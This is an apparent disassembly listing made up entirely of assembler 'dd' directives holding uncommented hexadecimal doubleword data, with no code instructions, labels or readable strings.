		dd 0FFFD35Ch, 0FF00D190h, 1578B9C4h, 5A80FF47h,	5D16A153h
		dd 9B52F7FFh, 3C81107h,	0FF072515h, 8415B9DDh, 39FF2903h
		dd 54E1647h, 0ABFF4007h, 1B9B2106h, 7B9C6FFh, 39FF0556h
		dd 9060351h, 7D050204h,	0D46081Fh, 37539FFh, 0FF4B0906h
		dd 7250853h, 9C89FF72h,	0C6FF7207h, 0FFA5002Eh,	700B9DEh
		dd 66DAFF5Ah, 310041Fh,	7F07000Dh, 60B0024h, 3D39FF09h
		dd 2402010Ah, 0A292600h, 240201h, 0E0Bh, 231E06h, 4B00h
		dd 3B1939FFh, 1529FD65h, 49A80105h, 9060B00h, 1E06001Ch
		dd 2C29FFh, 0FF00004Bh,	0B6167939h, 0F1CEFF14h,	39FF0024h
		dd 1FF65ACh, 10A03D0h, 28002438h, 0CEFF0104h, 24F1h, 53FF304Ch
		dd 0B4052208h, 906036Dh, 2A010F16h, 39060024h, 346001Ch
		dd 0E1010Ah, 2600h, 199C4FFh, 2BC1FFh, 0C1FF1E06h, 2448002Bh
		dd 7703F900h, 1046940h,	0C1FF0105h, 10F002Bh, 0FF051405h
		dd 0FF019DC4h, 2BDDh, 26002415h, 0F739FF00h, 14591350h
		dd 23h,	2BC1FF14h, 1D1500h, 9060B00h, 3F90024h,	0CEFF0175h
		dd 60024F1h, 3538FF3Bh,	12h, 231400h, 5F39FF00h, 0C5FF4E16h
		dd 0FF00002Bh, 2A01A139h, 72070024h, 3D16B2FFh,	242A010Fh
		dd 0FF010400h, 2BC5h, 0FF2CA2B8h, 0D9FF5828h, 0FF00002Bh
		dd 540Ah, 4C08FFh, 0E639FF00h, 169ACEFFh, 242A012Bh, 0FF010F00h
		dd 2BD1h, 540AFFh, 0E409FF00h, 1A1E18h,	8080FF00h, 169ACEFFh
		dd 242A012Bh, 5010F00h,	3ED30501h, 0A380CFFh, 243801h
		dd 10A0D28h, 682D82FFh,	24090603h, 3239FF00h, 0B6169BFFh
		dd 2C29FF14h, 3339FF00h, 1FBEh,	37D39FFh, 0FF408557h, 1318FF07h
		dd 1044471Ah, 7F07000Dh, 0B00002Ch, 39FF0906h, 8010AB3h
		dd 0B00002Ch, 27D9FF4Eh, 3AFF0000h, 0FF0104DCh,	27D9h
		dd 0FF010F3Dh, 27D9h, 0D9FF1E06h, 4B000027h, 0FF280000h
		dd 9BFFC039h, 0D9FF0E16h, 53000027h, 2C11h, 8D29FF06h
		dd 27D9FFh, 11320A00h, 2800002Ch, 0A83139FFh, 1420E16h
		dd 2C2Ah, 2C2298h, 26032800h, 10A2946h,	2A140010h, 0A00002Ch
		dd 8121FF02h, 23625D08h, 39FF0000h, 65570360h, 941503D3h
		dd 0FF3A4500h, 0D133FFF2h, 616121Fh, 0FF050109h, 3380039h
		dd 600000Eh, 1A1Eh, 0FF00004Bh,	0FF358D39h, 29583138h
		dd 2C08010Ah, 0E0B0000h, 1E060000h, 26C5FFh, 4B00h, 0AE39FFh
		dd 2314h, 7CA39FFh, 0FA655703h,	0FF144658h, 26C5h, 0A8E639FFh
		dd 2C090616h, 39FF0000h, 4E16A8D8h, 2429FFh, 0C5FF1415h
		dd 0FF000026h, 16A8C239h, 4D0906h, 10A0D28h, 2CF1CEFFh
		dd 60B0000h, 0A009409h,	10A0501h, 0C4FF0010h, 0C4FF0095h
		dd 0FF010A9Dh, 450027C1h, 60B0000h, 14000309h, 0A900001Ah
		dd 0E037Ch, 0FF1E0600h,	2839h, 4D48h, 14002B07h, 26C5FFh
		dd 0B939FF00h, 1A1400h,	4439FF00h, 0FF00001Fh, 31BE039h
		dd 16146557h, 2C22h, 23010428h,	4C000000h, 6F1CEFFh, 342208h
		dd 1609060Bh, 0DDFF010Fh, 27h, 26C5FF14h, 150D0000h, 60B001Ch
		dd 6009409h, 0FF1B0C1Eh, 580C50DDh, 14A7D1FFh, 0F0010Ch
		dd 39FF0026h, 0FECEFF2Eh, 0FF090603h, 2C5CF6h, 0A0D2800h
		dd 340201h, 309060Bh, 580C1E44h, 2301F8h, 0FF3B0600h, 0BA030F38h
		dd 2E8CFFh, 9C39FF00h, 27DDFFh,	19720700h, 3D1696FFh, 0DDFF010Fh
		dd 4000027h, 2429FF01h,	2CA2B800h, 0FF5828FFh, 0FF002421h
		dd 540Ah, 4C08FFh, 0C539FF00h, 2B1696FFh, 27DDFF01h, 10F0000h
		dd 2439FFh, 540AFFh, 0E409FF00h, 0FF101E18h, 0D1FF0C80h
		dd 0DDFF01FAh, 0F000027h, 20012001h, 0CFF3ED3h,	0FF010A38h
		dd 2CF1CEh, 0A0D2800h, 340201h,	4D09060Bh, 1A39FF00h, 1FD1FFFFh
		dd 39FF0000h, 14B61665h, 0FF00001Ah, 0F6FF3039h, 1FD1h
		dd 85AC39FFh, 3A1BFF1Ah, 0EF1819FFh, 9B2106D8h,	2106DF1Bh
		dd 52DDFF98h, 1BD1C5FFh, 2A210670h, 2A07254Bh, 0FAF39FFh
		dd 1B83AD02h, 3450D8FFh, 11770300h, 304FFh, 8FFF2307h
		dd 1B0C0297h, 8350D8FFh, 11771903h, 0FF290314h,	16023739h
		dd 1107054Eh, 4460343h,	39FF0502h, 6160209h, 7000309h
		dd 11FF06C2h, 9060BF4h,	8E070003h, 0FF137D05h, 204BBDDh
		dd 56137D05h, 0CEFF2705h, 2958FEh, 7D053107h, 59075913h
		dd 0B9C1FF07h, 3A050725h, 2ABEFF43h, 80FF479Dh,	584B4852h
		dd 1602E33Ah, 4007054Eh, 0C9B0FFh, 0FF055607h, 1602C339h
		dd 30906h, 0FF06C207h, 60BF411h, 7000309h, 137D0531h, 7590759h
		dd 25B9C1FFh, 0FF3A0507h, 479DBEC0h, 150D1044h,	0C1FF0700h
		dd 603B439h, 6004909h, 2F07101Eh, 8738FF35h, 2EC1FF07h
		dd 0A0D0D2Ah, 39FF0501h, 6163C17h, 0B004909h, 26000089h
		dd 6539FF00h, 3090603h,	5010A0Dh, 0FF101400h, 0FCFFC8CEh
		dd 49090603h, 0FF1E0600h, 2A31h, 4948h,	0A3106207h, 65570371h
		dd 3D31BFFh, 5010A0Dh, 3CEE39FFh, 0E16h, 0D41E06h, 4B00h
		dd 71D939FFh, 0CF655703h, 0D41758h, 11FF0600h, 0D4010FD5h
		dd 0A0D0000h, 0FBCA0501h, 0E16h, 1B0C1E06h, 0C5ADFFFh
		dd 0D401h, 6D106277h, 6557032Bh, 201358FBh, 0D20010Ah
		dd 390C1400h, 49090616h, 0FF1E0600h, 2A29h, 4B0000B7h
		dd 39FF0000h, 38FF35BBh, 38131626h, 0FF004948h,	49A3D3h
		dd 0A366DEFFh, 0D18BFF12h, 0FF004948h, 32BE939h, 14FF6557h
		dd 0FF210603h, 448F1CEh, 75C200Ah, 0EEFFFB23h, 1062A516h
		dd 57032B2Fh, 29167E65h, 0BD230700h, 0E16h, 0CA1E06h, 4B00h
		dd 0B40739FFh, 0FF655703h, 140003B2h, 40000CAh,	0D401h
		dd 0FF050A0Ah, 31FF5A10h, 2B00002Ah, 0D48019FFh, 39FF0000h
		dd 9061642h, 0A0A0049h,	5A10FF05h, 2A31FFh, 20E62B00h
		dd 63212091h, 3B0648h, 0CA14h, 8939FFh,	86FF1014h, 88FF03FBh
		dd 0D2903BBh, 5010Ah, 39FF1014h, 90603FBh, 1E060049h, 2A31FFh
		dd 494800h, 630700h, 0CA14h, 0B2D039FFh, 1014B616h, 3FBD1FFh
		dd 0FF2307B6h, 0FF087DC4h, 3265E2D1h, 31FF1703h, 5500002Ah
		dd 14237700h, 0FF0000CAh, 16081A39h, 0FF1014B6h, 5703F81Bh
		dd 2E8BFF85h, 0CA14h, 31FF1400h, 1500002Ah, 60B0049h, 2B004909h
		dd 2A31FF01h, 10F0000h,	7201E20h, 0CA1400E3h, 39FF0000h
		dd 101400A6h, 0FF03E477h, 38FFBB88h, 1D3Fh, 0FF35479Dh
		dd 3547128Ch, 47128CFFh, 86FF1044h, 7F0700B9h, 60B004Dh
		dd 2039FF09h, 4D971619h, 39FF2800h, 0E16191Ah, 1D70000h
		dd 16001C1Bh, 4D390603h, 71D1FF00h, 69C6086Ah, 0A15001Ch
		dd 1C211Eh, 0C87A22FFh,	0C6086A81h, 15004D3Ch, 4D021E0Ah
		dd 7A22FF00h, 4D3906C8h, 242200h, 9010428h, 0FF014F4Ch
		dd 2A01h, 909060Bh, 2819FF01h, 60B0000h, 3010109h, 28002446h
		dd 0B1C4FF00h, 0FF130878h, 7C07F1CEh, 44F010Ah,	9C4C0901h
		dd 49220801h, 9060B00h,	4D1EFF01h, 4C006E00h, 0A548DFFh
		dd 2A01FF01h, 60B0000h,	0FF004D09h, 57030C39h, 0FF03EA65h
		dd 3701238h, 19FF010Ah,	0B000028h, 4D194Eh, 4DC3AFFh, 4D1901h
		dd 19010F3Dh, 1E06004Dh, 4D19h,	191716DAh, 1153004Dh, 0FF06004Dh
		dd 0DEFFEB29h, 1420354h, 34F1CEFFh, 0FF031600h,	104DC3Ah
		dd 34F1CEFFh, 10F1900h,	34F1CEFFh, 19010400h, 0BB004Dh
		dd 4D115300h, 4D600100h, 0BB00h, 4D1153h, 0FE29FF06h, 5A86FF07h
		dd 34F1CEFFh, 2B743000h, 4D22004Dh, 35A50B00h, 4D1901h
		dd 4D11320Ah, 0BB00h, 11320A6Eh, 0E0B004Dh, 3160000h, 110638FFh
		dd 4D1917h, 530000BBh, 6004D11h, 69E129FFh, 0BB000055h
		dd 11530000h, 0FF06004Dh, 0AEFFE829h, 104F3FFh,	0BB004D19h
		dd 0A040000h, 34F1CEFFh, 11327600h, 3227004Dh, 4DFADCFFh
		dd 0D43AFF00h, 0FFA838FFh, 2EDCh, 1D1A38FFh, 8150000h
		dd 0B004D22h, 6190906h,	6207661Eh, 4D220801h, 0E0B00h
		dd 39FF2800h, 16EFFFC5h, 1600000Eh, 0D738FF03h,	22084616h
		dd 60B004Dh, 661ED109h,	8016207h, 0B004D22h, 2800000Eh
		dd 166B39FFh, 5800000Eh, 10A0D03h, 0B001C69h, 4D220Eh
		dd 8460E0Bh, 0B004D22h,	6A30906h, 6207661Eh, 4D220801h
		dd 0E0B00h, 39FF2800h, 0E16A3EBh, 3B10000h, 4FE3AFFh, 5D4C0901h
		dd 1FF010Ah, 0B00002Ah,	4D0906h, 0B3FF39FFh, 221ACB65h
		dd 4E0B004Dh, 0FF004D19h, 104DC3Ah, 3D004D19h, 4D19010Fh
		dd 191E0600h, 0DA00004Dh, 4D191703h, 4D115300h,	3B50600h
		dd 4D190104h, 0FF743000h, 2819h, 0FF010A29h, 2819h, 0E0Bh
		dd 231E06h, 344800h, 0F1CEFF30h, 23010429h, 28190000h
		dd 35039FFh, 0A030906h,	2819FF01h, 0FF280000h, 4D09B739h
		dd 11320A00h, 0FF28004Dh, 1664FC39h, 0Eh, 0FF010A0Dh, 2819h
		dd 0E0Bh, 73B1E06h, 4FECEFFh, 4F4C0901h, 2A01FF01h, 60B0000h
		dd 0FF004D09h, 650DD539h, 283B010Ch, 166E39FFh,	3000000Eh
		dd 22F1CEFFh, 0FF28004Dh, 0E167039h, 4D635Bh, 4D3906h
		dd 5013h, 530000B7h, 2C89FFh, 11FF332Ch, 8109FF26h, 0A280000h
		dd 10A0501h, 28004D71h,	4D3C010Ah, 39FF2800h, 6000049h
		dd 6001C09h, 501Eh, 0A4D3FFh, 89FF5300h, 332C002Ch, 0FF2611FFh
		dd 8109h, 5010A28h, 4D71010Ah, 10A2800h, 28004D3Ch, 4D1939FFh
		dd 1C090600h, 501E0600h, 0D2FF0000h, 530000A4h,	2C89FFh
		dd 11FF332Ch, 8109FF26h, 0A280000h, 10A0501h, 28004D71h
		dd 5039FFh, 1C090600h, 1B1E0600h, 0D0FF001Ch, 88FF01DEh
		dd 155303D0h, 0FF003460h, 0FF2E5511h, 8BFF53FCh, 6001002Ch
		dd 32680034h, 18A2E08h,	29C1FFh, 0FF1708C5h, 0F0029C1h
		dd 29C5FF01h, 14000000h, 29C5FFh, 64010400h, 10FF004Dh
		dd 58DBFF39h, 29D9FFh, 34390600h, 7CFFC500h, 8FF0034h
		dd 0FF00004Ch, 0EBFFE239h, 1FAD1FFh, 0F004D63h,	34390501h
		dd 7CFFC500h, 0FF00002Ch, 1E18E409h, 0FF00001Ah, 44F8080h
		dd 0A04C0901h, 2A01FF01h, 60B0000h, 2C88FF09h, 24600100h
		dd 0FF2E2600h, 8BFF53AEh, 7801002Ch, 6001001Ch,	2C8CFFh
		dd 2236332Ch, 0FF450024h, 342AA001h, 2A1E0600h,	0CEFF0034h
		dd 53DF77F1h, 0FF036015h, 10AF23Ah, 901044Fh, 8323C4Ch
		dd 0B004922h, 38010906h, 6E0034h, 55C5FF4Ch, 0B004922h
		dd 4D0906h, 52CD39FFh, 5D38FF1Fh, 38FF0000h, 0FF000056h
		dd 18FF8938h, 6471A13h,	0FF294B10h, 2661A39h, 0FA110710h
		dd 0B0FF4603h, 21FF021Ah, 0C5FF1381h, 0A291151h, 8121FF02h
		dd 0FF024B1Fh, 5607B9C1h, 5239FF10h, 3090603h, 11C20700h
		dd 59137D16h, 7D103107h, 7D16111Fh, 45D511FFh, 0AFFF3A10h
		dd 2A13B3FFh, 1044479Dh, 3D3A0815h, 5020FB3h, 16DA0308h
		dd 29FF02D7h, 856FF09h,	5B043117h, 2F21FFh, 0FF1E4400h
		dd 2F21h, 11FF037Ch, 1DA6h, 1D60037Ch, 0F7B10000h, 0FF5084FFh
		dd 2F21h, 11D1FF11h, 1E44191Bh,	2F21FFh, 6003E300h, 2F21FF1Eh
		dd 30A0000h, 1DA311FFh,	3DB0000h, 1DA711FFh, 37E0000h
		dd 1D60h, 11D1FF1Ch, 0FECEFF1Bh, 42EC3AFFh, 6D29FF02h
		dd 2502E08h, 87529FFh, 2422B2Eh, 85529FFh, 42F3FF2Eh, 0B529FF02h
		dd 42C8CEFFh, 0C1FFB502h, 0F529FF16h, 2E0856FFh, 0FF02422Fh
		dd 56FFC529h, 6311708h,	1001423Bh, 2E0856FFh, 0FF10018Ah
		dd 14250857h, 315F0710h, 31024C00h, 11FF6B1Ah, 20403D1h
		dd 0FF6B1A31h, 1A31D169h, 3102096Bh, 3686B1Ah, 6B1A3117h
		dd 31170343h, 3816B1Ah,	1A310204h, 4037B6Bh, 6B1A3102h
		dd 204039Fh, 746B1A31h,	31020403h, 36B6B1Ah, 0C1FF0517h
		dd 0B9DDFF2Eh, 439FF0Dh, 19090603h, 0B529FF06h,	0D3B0631h
		dd 150C010Ah, 41C4FF18h, 15B95D08h, 4500001Dh, 0FFA001FFh
		dd 0FFFCF1CEh, 39FFB9DCh, 0FFF40347h, 39FFB9DAh, 0FFF40358h
		dd 39FFB9DAh, 311815ADh, 0CB076644h, 1A310204h,	0D169FF30h
		dd 441A3112h, 0D169FFh,	15D23AFFh, 48100647h, 2043B06h
		dd 0FF52C1FFh, 3A5D3h, 3EE5C4FFh, 0BAD1F6FFh, 3D32AFFh
		dd 0C1FF0204h, 0A5D0FF52h, 0D3B06h, 3EE5C4FFh, 0BAD1F6FFh
		dd 0FFA72151h, 150354DEh, 74F4E16h, 8BBC1FFh, 7465846h
		dd 0DDFF134Fh, 1FF02BBh, 0DDFF1381h, 1B9B13B7h,	0FF720787h
		dd 8916E48Dh, 0B7D1FF08h, 13034F02h, 5ADAFF98h,	0FF020FC2h
		dd 422F3A19h, 0D019FF02h, 3D4F1703h, 0DAFF988Fh, 20FC25Ah
		dd 2040909h, 4F563D4Fh,	124F1703h, 6E46524Fh, 409060Bh
		dd 38FF4F12h, 7251631h,	0EDC4FF5Ch, 0FF07103Eh,	3B469DBh
		dd 521538FFh, 2042F2Eh,	219131FFh, 12100210h, 275231FFh
		dd 31FF2148h, 0DBFF07D1h, 0FF03B469h, 4034138h,	0BA31FF02h
		dd 16E5C5FFh, 0FF07204Eh, 4608BBC1h, 31FF1716h,	200725BAh
		dd 0BBDDFF13h, 8121FF02h, 0B7DDFF13h, 871B9B13h, 502A7207h
		dd 0FF023E1Fh, 39FF5223h, 204D6D1h, 29139FFh, 2EA39FFh
		dd 6DE31FFh, 3D0D2FFh, 0FF982106h, 2C25ADBh, 2422F85h
		dd 3D511FFh, 0BA39FF17h, 0D0C5FF20h, 39FF0204h,	35820BAh
		dd 0FF982106h, 0FC25ADAh, 42D69002h, 3169002h, 39FF0204h
		dd 85FF20BAh, 0FF988FD0h, 0FC25ADAh, 3A69FF02h,	0FF170370h
		dd 0FF20BA39h, 0FF56D085h, 9820BA39h, 0BA39FF17h, 0FF120420h
		dd 420BA39h, 0FF121002h, 4275A39h, 21FF0C5Bh, 0E111FF81h
		dd 0B201204h, 0DE480906h, 9939FF20h, 0FF3584FFh, 1D3B38h
		dd 8E020400h, 1318FF20h, 3100498h, 70982106h, 482A2106h
		dd 5431FF38h, 0B9C4FFh
		dd 3EE5C4FFh, 0BAD1F6FFh, 0CA6024Fh, 6EFF0C01h,	0A5D3FF13h
		dd 0C4FF0003h, 0F6FF3EE5h, 381BAD1h, 32982106h,	0C1716DCh
		dd 1E4F3E18h, 8F074Fh, 0FFA138FFh, 3D5D0h, 5014F14h, 192739FFh
		dd 6090603h, 1D331FFh, 2040360h, 6F1CEFFh, 1D531FFh, 0C011A60h
		dd 26D511FFh, 0D45Bh, 0D41E06h,	0BA084B00h, 3D3DEFFh, 0D40104h
		dd 0F4C0000h, 771FE0FFh, 0B9C4FFh, 3EE5C4FFh, 0BAD1F6FFh
		dd 42916EBh, 0D401h, 5014C00h, 9BB39FFh, 0FF020403h, 0FF06F1CEh
		dd 0E501D031h, 1703E232h, 0AEFF3B0Ch, 3B0C561Bh, 0FF0C0115h
		dd 5B26D511h, 60000D4h,	0D41Eh,	0FFBA084Bh, 0D401BFh, 0FF4C0000h
		dd 0FF16E139h, 0C4FF9188h, 0C4FF00B9h, 0F6FF3EE5h, 1602BAD1h
		dd 0D4010429h, 4C000000h, 39FF0501h, 3EEFF18h, 5010906h
		dd 167339FFh, 0FF9188FFh, 0FF00B9C4h, 0FF3EE5C4h, 0BAD1F6h
		dd 7A2A1303h, 304FF32h,	0B0FF1B15h, 495CDBFFh, 19D16E00h
		dd 881D3FFh, 1166FF7Ah,	0DDFF1381h, 0B00495Ch, 0FF9188FFh
		dd 0FF00B9C4h, 0FF3EE5C4h, 81BAD1F6h, 0FF010A03h, 2A01h
		dd 21F4C26h, 6F1CEFFh, 2CC131FFh, 0F411FF33h, 7D5639FFh
		dd 0DEFF0000h, 81D3FF66h, 29FF5B08h, 600002Ah, 2A29FF1Eh
		dd 0FF4B0000h, 29FF5A89h, 2Ah, 0FE03FF4Ch, 9188FF16h, 0FF000DDFh
		dd 0FF3EE5C4h, 0BE2ED1F6h, 2A29FF01h, 4C000000h, 39FF2A07h
		dd 1B0E1672h, 5CC0FFh, 0CEFF2600h, 0FF0E16FEh, 1D0838h
		dd 1318FF00h, 21064723h, 0D8FF1BA7h, 0FF5A072Eh, 0FECEFFAFh
		dd 8C88FF16h, 25088110h, 285C4FFh, 0F621B0Ch, 0C072508h
		dd 86AEC08h, 0C4FF0029h, 0DA100285h, 7002903h, 6AEC0810h
		dd 7002908h, 6AEC0810h,	7002908h, 6AEC0810h, 7002908h
		dd 6AEC0810h, 7002908h,	6AEC0810h, 7002908h, 6AEC0810h
		dd 7002908h, 6AEC0810h,	7002908h, 6AEC0810h, 7002908h
		dd 6AEC0810h, 0FF002908h, 0AD0285C4h, 0D5E1B83h, 0FF340700h
		dd 6A6489C4h, 7002908h,	89C4FF34h, 29086A19h, 0FF340700h
		dd 6A3C89C4h, 7002908h,	89C4FF34h, 29086A3Dh, 85C4FF00h
		dd 7250502h, 6AEC0805h,	7002908h, 6AEC0805h, 7002908h
		dd 6AEC0805h, 85FF1308h, 1B03080Eh, 0FFA306DFh,	3080E89h
		dd 52D8FF1Bh, 80E8DFFh,	42CB0703h, 0C6086A11h, 6A11D719h
		dd 6BD1FF08h, 6A11D719h, 6CD1FF08h, 0C4FF0029h,	21FF0285h
		dd 621BAC52h, 7250827h,	89C4FFAFh, 270E81FFh, 0C4FF2508h
		dd 39FF0285h, 0D139FF52h, 56FF621Bh, 0FF072508h, 0C4FF2E39h
		dd 86A5E89h, 5418D1FFh,	1139FF03h, 0D16FCFFh, 617F0700h
		dd 60B0000h, 0FC39FF09h, 0FF16FCFFh, 61BB88h, 0E0B00h
		dd 5E1E0600h, 4B000061h, 39FF0000h, 0D188FFC8h,	6122161Fh
		dd 6E0000h, 0FF01094Ch,	3F8Bh, 309060Bh, 615E1400h, 39FF0000h
		dd 613D4EBBh, 1040000h,	1A3F81FFh, 52D8FF07h, 613Dh, 613D134Bh
		dd 7000000h, 0B912FF40h, 0D1FF010Ah, 26000021h,	0C239FF00h
		dd 13D1C4FFh, 0FF58DDFFh, 6003C09h, 3C09FF1Eh, 0BD4800h
		dd 0ADF1B00h, 21D1FF01h, 0FF0B0000h, 0C1FF5288h, 0FF0000A7h
		dd 0A4035D39h, 112DBFFFh, 0FF5D0873h, 10AB9C4h,	0C639FF41h
		dd 0FF0E1671h, 3FD1h, 38010A28h, 0B000061h, 0BD0906h, 22081F45h
		dd 0E0B00AFh, 0FF280000h, 162B2239h, 0AF220Eh, 0E0Bh, 9188FF0Bh
		dd 2600AFh, 0FFDD39FFh,	5913D1C5h, 613D14h, 1D39FF00h
		dd 7F38FFh, 5E140000h, 0FF000061h, 1F9B3839h, 39FF0000h
		dd 471A1F54h, 0FF8080FFh, 72072EDCh, 2FA503BEh,	0DDFF0242h
		dd 290876C9h, 2BE939FFh, 7054E16h, 70B0FF40h, 5560700h
		dd 0FFFA39FFh, 75913EBh, 39FF0531h, 0CECEFFFBh,	8E1B0E03h
		dd 4302D93h, 6705D16h, 422F2E52h, 0D029FF02h, 0FF072503h
		dd 700B9DDh, 3A050734h,	0D184FF71h, 18C5FF13h, 0D0FF0554h
		dd 66DEFFA7h, 5051204h,	31020F19h, 0FF99DDFFh, 21060B3Ah
		dd 0DFFF1B9Bh, 176D935Ah, 39FF0505h, 51204C1h, 10D2FF03h
		dd 0FF05020Fh, 1204C139h, 1FF0505h, 0DDFF5418h,	0FF1B0558h
		dd 521069Fh, 26C0521h, 5BF5D9FFh, 0E0315E9h, 315819FFh
		dd 5B51D9FFh, 0E0315E9h, 0DAD9FF12h, 315819FFh,	0F4D9FFh
		dd 20F2500h, 0E0315E9h,	0DAD9FF12h, 315819FFh, 0F4D9FFh
		dd 0E95B0000h, 120E0315h, 0FFDAD9FFh, 0FF315819h, 75418D9h
		dd 39FF0DE9h, 0FF13899Ah, 3D1A8CDDh, 7250876h, 0FBF6FF5Ah
		dd 11090616h, 0D89D0FFh, 0FF5A0700h, 616FBDDh, 0D0FF1109h
		dd 7000D89h, 0F820FF5Ah, 11090616h, 0D89D0FFh, 0FF5A0700h
		dd 616E407h, 0D0FF1109h, 128CFF89h, 8080FF47h, 502042Fh
		dd 0FF052106h, 24A02E0h, 0E4FB7805h, 83AD4E16h,	50D8FF1Bh
		dd 77030034h, 0FF152F40h, 9D35113Ah, 0B100647h,	0BBB88FFh
		dd 7AC210Eh, 89D0FF11h,	46D1DAFFh, 0C1FF1345h, 0FF070058h
		dd 60C3921h, 0C210C21h,	422F2E52h, 0D039FF02h, 39FF1703h
		dd 0FF071058h, 0C072ED8h, 0FF86541Fh, 0FF0DBC39h, 0D188FF57h
		dd 3A086C1Fh, 7088FF3Bh, 0FF100486h, 53EBBD0h, 2ED8FF1Bh
		dd 51F0507h, 1006479Dh,	78010000h, 10020Ah, 0BB88FF00h
		dd 0C210E0Bh, 0B984FF85h, 0FF134515h, 70058C1h,	0FF1B1F0Ch
		dd 1B3452DEh, 216D8FFh,	3D039FFh, 17521A2Eh, 55839FFh
		dd 2ED8FF1Bh, 1FFF9207h, 1FD1DEFFh, 20A0D54h, 0FF0E1620h
		dd 10FF2239h, 8461FD1h,	9060B22h, 1B832106h, 3452DEFFh
		dd 16D8FF1Bh, 0D031FF02h, 521A2E03h, 5831FF17h,	0D8FF1B05h
		dd 8292072Eh, 1005AA03h, 0DEFF9B21h, 5020F45h, 5C07000Dh
		dd 3EC5C4FFh, 5C80FF47h, 5C07000Dh, 3EC5C4FFh, 9D052106h
		dd 42104447h, 6901h, 22033000h,	28000000h, 91C4FF00h, 851A0734h
		dd 2915E4h, 69145907h, 0A000000h, 5D263002h, 0D2FF851Ah
		dd 104447BBh, 690142h, 3300000h, 22h, 0C4FF0028h, 7003EC1h
		dd 15E4851Ah, 59070029h, 6914h,	30020A00h, 851A5D26h, 47BBD2FFh
		dd 1421044h, 22033Bh, 280000h, 3491C4FFh, 0FF851A07h, 20AFFCEh
		dd 69010F30h, 15000000h, 690104h, 19D10000h, 881D3FFh
		dd 1166FF7Ah, 0DDFF1381h, 104447BBh, 33B0142h, 22h, 0C4FF0028h
		dd 7003EC1h, 0CEFF851Ah, 30020AFFh, 69010Fh, 4150000h
		dd 6901h, 0FF19D100h, 7A0881D3h, 811166FFh, 0BBDDFF13h
		dd 0A104447h, 2A29FF01h, 0FF6F0000h, 5D080E85h,	17034401h
		dd 2A29FFh, 0C010F00h, 821B0C1Eh, 0FFBBD3FFh, 0A03D5D0h
		dd 1040501h, 49180Ch, 86A1800h,	104C95Dh, 10A3B0Ch, 72070005h
		dd 40E1639h, 23190C01h,	0DC0C01h, 2A29FF14h, 0FF000000h
		dd 54C48DC4h, 58600135h, 242D603h, 9020409h, 3C1D9FFh
		dd 0F8F39FFh, 2F075102h, 0A738FF35h, 51025102h,	0FF024603h
		dd 72138109h, 0FF2DC1FFh, 191DF511h, 41020F19h,	1631FF02h
		dd 0D409FF02h, 15282203h, 0FF5D086Ah, 1F512EC1h, 1FF1716h
		dd 2050558h, 1703DA05h,	2050205h, 0C9C4FF05h, 40074F3Eh
		dd 55A1BFFh, 5ADAFF1Bh,	6D401B05h, 0DDFF0204h, 54D3FF52h
		dd 0FF0242E3h, 4603D019h, 17084F6Fh, 7050205h, 13084Fh
		dd 2EDFFF07h, 1F4F07h, 29FF2106h, 15CB07D0h, 0B9C4FF00h
		dd 0DFFF0734h
		dd 1F4F072Eh, 51020400h, 5085FF51h, 12510204h, 7035151h
		dd 0C6FF1140h, 700002Eh, 0FF2E01FFh, 51028DC4h,	72EDCFFh
		dd 2041F51h, 7001051h, 1D6472h,	5210E00h, 5A8FFF85h, 0D0FF4A05h
		dd 7703F9ECh, 72EDCFFh,	2041F05h, 81D3FF05h, 6ED511FFh
		dd 0FF1A7F12h, 6165239h, 5170409h, 50700A6h, 0FF03541Fh
		dd 130387D1h, 1Bh, 1B882Eh, 0F190000h, 1B01h, 31020400h
		dd 1Bh,	0FF171655h, 31AD4D9h, 5C12046Eh, 611A441Bh, 0E5011638h
		dd 0D139FF32h, 390603h,	882E0000h, 1900006Ch, 6C010Fh
		dd 31020400h, 5500006Ch, 0F8h, 1B311204h, 4000000h, 0FF443107h
		dd 5503D9D9h, 315A87FFh, 0B93D031Ah, 7500h, 31120400h
		dd 400006Ch, 0FFEE3107h, 0F03D9DDh, 0D9FF447Eh,	10403D9h
		dd 1900006Ch, 6C010Fh, 6E3AFF00h, 31A3102h, 0A612043Dh
		dd 3AFF031Ah, 0B938FFD4h, 15411FFh, 2E84FFh, 5020A00h
		dd 6E000000h, 1B5C1204h, 0C4FF1A44h, 1E0D012Dh,	0FF11070Dh
		dd 2F33h, 0FF0D0104h, 0FFBA5857h, 2F03h, 1A8F0204h, 1B1303h
		dd 882E0000h, 1Bh, 1B010F19h, 4000000h,	1B3102h, 3550000h
		dd 8213h, 82882Eh, 10F1900h, 4000082h, 823102h,	0F85500h
		dd 12040000h, 1B31h, 31070400h,	0D9D9FF44h, 40405503h
		dd 2046EFFh, 8231h, 69FF4B55h, 0F858D5h, 12040000h, 1B31h
		dd 31070400h, 447E1AEEh, 3D9D9FFh, 1A310204h, 12041903h
		dd 35031AA6h, 0FF01E501h, 2E8Dh, 0E838FFh, 2040000h, 0FFE2DDFFh
		dd 37B16803h, 0A05820FFh, 0E2DDFF02h, 0B16803FFh, 0B820FF37h
		dd 0A001185Bh, 0D9FF0215h, 6E031AD4h, 3EFDC4FFh, 73B1E3Bh
		dd 38FF008Fh, 73B1E96h,	38FF352Fh, 1B1316E6h, 2E000000h
		dd 1B88h, 10F1900h, 1Bh, 1B310204h, 55000000h, 0D9FF1716h
		dd 6E031AD4h, 1B5C1204h, 0BCFF1A44h, 34FF32E5h,	390603h
		dd 882E0000h, 2E89FFh, 10F1900h, 2E89FFh, 31020400h, 2E89FFh
		dd 0F85500h, 12040000h,	1B31h, 31070400h, 0D9D9FF44h, 87FF5503h
		dd 31A315Ah, 7500B93Dh,	4000000h, 89FF3112h, 400002Eh
		dd 0FFEE3107h, 0F03D9DDh, 0D9FF447Eh, 10403D9h,	2E89FFh
		dd 10F1900h, 2E89FFh, 6E3AFF00h, 31A3102h, 0A612043Dh
		dd 3AFF031Ah, 0B938FFD4h, 15411FFh, 2E84FFh, 5020A00h
		dd 6E000000h, 1B5C1204h, 0C4FF1A44h, 8DFF012Dh,	600002Eh
		dd 2E8DFF1Eh, 7000000h,	2F33FF11h, 1040000h, 2E8DFFh, 0D93AFF00h
		dd 438FFh, 19FF0600h, 188FFF2Eh, 5020554h, 5310204h, 0D9FFA306h
		dd 1B03080Eh, 8F5ADBFFh, 4DF406Ch, 441B0502h, 3AFFA21Ah
		dd 8F02041Bh, 725031Ah,	0CBEEFF5Ah, 1888FF16h, 0FF58A754h
		dd 0DB4A7D1h, 0CBCA39FFh, 7054E16h, 4DF851Ah, 5310502h
		dd 10050204h, 0B71A5612h, 5703705Eh, 0FECEFF85h, 1A560204h
